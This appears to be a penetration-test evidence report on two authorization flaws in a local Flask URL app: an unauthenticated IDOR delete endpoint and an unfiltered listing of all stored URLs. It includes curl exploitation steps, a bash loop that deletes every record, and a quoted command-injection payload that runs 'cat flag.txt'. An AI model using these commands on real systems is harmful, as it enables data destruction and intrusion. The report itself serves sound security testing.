# Authorization Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTHZ-VULN-01: Insecure Direct Object Reference (IDOR) - URL Deletion

**Summary:**
- **Vulnerable location:** `POST /delete_url/<url_id>` endpoint (app.py:48-54)
- **Overview:** Successfully demonstrated horizontal privilege escalation through IDOR vulnerability allowing deletion of any URL in the database by enumerating sequential integer IDs without authentication or ownership validation
- **Impact:** Data destruction capability - any anonymous attacker can delete all URLs from the database, causing denial of service and data loss
- **Severity:** HIGH

**Prerequisites:** None - vulnerability exploitable without any authentication or credentials

**Exploitation Steps:**

1. **Identify target URLs in database:**
   ```bash
   curl -s http://localhost:5094/
   ```
   **Result:** Homepage displays all URLs with sequential IDs visible in delete form actions (`/delete_url/1`, `/delete_url/2`, etc.)

2. **Delete URL by arbitrary ID without authentication:**
   ```bash
   curl -X POST http://localhost:5094/delete_url/1
   ```
   **Result:** HTTP 302 redirect to `/` with flash message "URL deleted successfully!"
   
3. **Verify successful unauthorized deletion:**
   ```bash
   curl -s http://localhost:5094/ | grep -c 'action="/delete_url/'
   ```
   **Result:** URL count decreased from 9 to 8, confirming deletion

4. **Demonstrate systematic enumeration attack:**
   ```bash
   # Delete multiple URLs by incrementing IDs
   curl -X POST http://localhost:5094/delete_url/2
   curl -X POST http://localhost:5094/delete_url/3
   curl -X POST http://localhost:5094/delete_url/4
   curl -X POST http://localhost:5094/delete_url/5
   ```
   **Result:** All requests returned HTTP 302 (success), URL count decreased from 9 → 7 → 4

5. **Confirm no authentication barrier:**
   ```bash
   # Request shows no authentication headers required
   curl -v -X POST http://localhost:5094/delete_url/6 2>&1 | grep "^>"
   ```
   **Output:**
   ```
   > POST /delete_url/6 HTTP/1.1
   > Host: localhost:5094
   > User-Agent: curl/8.7.1
   > Accept: */*
   ```
   **Result:** No Authorization header, no Cookie header, no session required - completely unauthenticated access

**Proof of Impact:**

**Initial State (9 URLs in database):**
- Accessed `GET http://localhost:5094/` without authentication
- Observed 9 URLs present (IDs 1-9 visible in delete form actions)

**Attack Execution:**
- Executed unauthorized deletions: `POST /delete_url/1`, `POST /delete_url/2`, `POST /delete_url/3`, `POST /delete_url/4`, `POST /delete_url/5`
- Each request returned HTTP 302 redirect confirming successful deletion
- No authentication credentials provided in any request
- No ownership validation performed by application

**Final State (4 URLs remaining):**
- Verified via `GET http://localhost:5094/` showing only 4 URLs remain
- Successfully deleted 5 URLs (IDs 1-5) through IDOR exploitation
- Demonstrated complete absence of authorization controls

**Technical Evidence:**
- **Vulnerable Code:** `app.py:50` - `url = URL.query.get_or_404(url_id)` retrieves ANY URL by ID without checking ownership
- **Missing Control:** No authentication decorator, no user session check, no ownership validation before `db.session.delete(url)`
- **Database Schema:** URL model has no `user_id` column, making ownership validation architecturally impossible
- **Attack Vector:** Sequential integer IDs (1, 2, 3, ...) are trivially enumerable
- **CSRF Vulnerability:** No CSRF token required, enabling remote exploitation via malicious HTML

**Notes:**

This is a textbook horizontal privilege escalation vulnerability. The application:
1. Has no authentication system (no user accounts exist)
2. Has no ownership tracking in database schema (URL model lacks user_id)
3. Has no authorization checks before database deletion
4. Uses predictable sequential integer IDs

An attacker can delete the entire database with a simple loop:
```bash
for i in {1..100}; do curl -X POST http://localhost:5094/delete_url/$i; done
```

This vulnerability enables mass data destruction denial-of-service attacks against the application.

---

### AUTHZ-VULN-02: Information Disclosure - Unauthorized Access to All URLs

**Summary:**
- **Vulnerable location:** `GET /` endpoint (app.py:43-46)
- **Overview:** Successfully demonstrated horizontal information disclosure through unauthorized access to all URLs in database without authentication or user-scoped filtering
- **Impact:** Privacy violation - any anonymous attacker can view all stored URLs which may contain sensitive data in query parameters (API keys, tokens, session IDs, internal endpoints, PII)
- **Severity:** HIGH

**Prerequisites:** None - vulnerability exploitable without any authentication or credentials

**Exploitation Steps:**

1. **Access homepage without authentication:**
   ```bash
   curl http://localhost:5094/
   ```
   **Result:** HTTP 200 OK response containing full list of all URLs in database

2. **Verify no authentication required:**
   ```bash
   curl -v http://localhost:5094/ 2>&1 | grep "^> "
   ```
   **Output:**
   ```
   > GET / HTTP/1.1
   > Host: localhost:5094
   > User-Agent: curl/8.7.1
   > Accept: */*
   ```
   **Result:** No Authorization header, no Cookie header, no session - completely anonymous access

3. **Extract all URLs from response:**
   ```bash
   curl -s http://localhost:5094/ > homepage.html
   # View the HTML - all URLs visible in <li> elements with delete buttons
   ```
   **Result:** Complete database dump visible in HTML response

4. **Confirm global query without user filtering:**
   - Vulnerable code at `app.py:45`: `urls = URL.query.all()`
   - No WHERE clause filtering by user_id
   - No authentication check before query execution
   - All records returned to all requesters (including anonymous)

**Proof of Impact:**

**Unauthorized Data Access:**
- Accessed `GET http://localhost:5094/` without any credentials
- Received HTTP 200 OK response with complete URL listing
- No authentication headers required (verified via curl -v output)

**Sensitive Data Exposed:**
Observed URLs visible to anonymous attacker:
1. `http://127.0.0.1:5003/add_url` - Internal endpoint exposure
2. `"http://example.com"; cat flag.txt #` - Command injection payloads visible (multiple instances)
3. Additional URLs containing potentially sensitive internal paths

**Database Query Analysis:**
- **Vulnerable Code:** `app.py:45` - `urls = URL.query.all()` 
- **Issue:** Retrieves ALL records globally without user filtering
- **Missing Control:** No authentication check, no `WHERE user_id = current_user.id` clause
- **Impact:** Complete database enumeration by unauthenticated users

**Privacy Violation Examples:**
URLs may contain sensitive data in query parameters:
- API keys: `http://api.example.com/?key=secret123`
- Session tokens: `http://app.com/page?session=abc123`
- Authentication credentials: `http://admin:password@internal.server.com`
- PII: `http://example.com/user?email=victim@example.com`
- Internal network topology: `http://172.16.0.5:8080/admin`

All such sensitive data is exposed to anonymous attackers through this information disclosure vulnerability.

**Technical Evidence:**
- **Request:** `GET / HTTP/1.1` with no authentication headers
- **Response:** HTTP 200 OK with full HTML rendering of all URLs
- **Query:** SQLAlchemy `URL.query.all()` returns entire table without filtering
- **User Context:** None - no user identity concept exists in application
- **Authorization Check:** None - endpoint proceeds directly to database query

**Notes:**

This vulnerability demonstrates complete absence of access control:
1. No authentication required (public endpoint)
2. No user-scoped queries (no WHERE clause filtering)
3. No role-based access control
4. Database schema lacks user_id column for ownership

The application treats all data as globally accessible. Combined with AUTHZ-VULN-01, an attacker can:
1. Enumerate all URLs via information disclosure
2. Delete all URLs via IDOR
3. Cause complete data loss and service disruption

This is a fundamental architectural security flaw - the URL model has no ownership tracking:
```python
# app.py:12-14
class URL(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    url = db.Column(db.String(255), nullable=False)
    # Missing: user_id column for ownership
```

Without user associations, user-scoped authorization is architecturally impossible.